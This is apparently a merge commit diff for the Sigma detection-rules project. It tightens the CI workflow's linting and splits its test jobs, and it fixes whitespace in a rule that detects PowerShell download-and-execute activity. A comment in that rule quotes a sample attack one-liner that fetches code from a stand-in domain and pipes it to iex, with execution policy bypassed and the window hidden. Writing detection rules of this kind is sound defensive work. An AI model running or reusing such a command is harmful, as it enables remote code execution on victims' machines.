Merge PR #5701 from @phantinuss - Enhance CI Tests

chore: ci: let yamllint fail on warnings as well
chore: fix comment whitespace
chore: ci: run single tests in their own job

.github/workflows/sigma-test.yml

@@ -47,6 +47,8 @@ jobs:
     - uses: actions/checkout@v4
     - name: yaml-lint
       uses: ibiqlik/action-yamllint@v3
+      with:
+        strict: true # fail on warnings as well
 
   test-sigma-logsource:
     runs-on: ubuntu-latest
@@ -64,9 +66,28 @@ jobs:
         pip install PyYAML colorama
         python tests/test_logsource.py
 
-  test-sigma:
+  test-sigma-legacy:
     runs-on: ubuntu-latest
-    needs: test-sigma-logsource
+    needs: yamllint
+    steps:
+    - uses: actions/checkout@v4
+      with:
+        submodules: true
+    - name: Set up Python 3.11
+      uses: actions/setup-python@v5
+      with:
+        python-version: 3.11
+    - name: Install dependencies
+      run: |
+        pip install PyYAML colorama
+    - name: Test Sigma Rules
+      run: |
+        pip install PyYAML colorama
+        python tests/test_rules.py
+
+  sigma-check:
+    runs-on: ubuntu-latest
+    needs: yamllint
     steps:
     - uses: actions/checkout@v4
       with:
@@ -83,7 +104,3 @@ jobs:
     - name: Test Sigma Rule Syntax
       run: |
         sigma check --fail-on-error --fail-on-issues --validation-config tests/sigma_cli_conf.yml rules*
-    - name: Test Sigma Rules
-      run: |
-        pip install PyYAML colorama
-        python tests/test_rules.py

rules/windows/process_creation/proc_creation_win_powershell_download_iex.yml

@@ -22,7 +22,7 @@ detection:
             - 'Invoke-WebRequest '
             - 'iwr '
             - 'Invoke-RestMethod '
-            - 'irm ' #powershell -ep bypass -w h -c irm test.domain/ffe | iex
+            - 'irm '  # powershell -ep bypass -w h -c irm test.domain/ffe | iex
     selection_iex:
         CommandLine|contains:
             - ';iex $'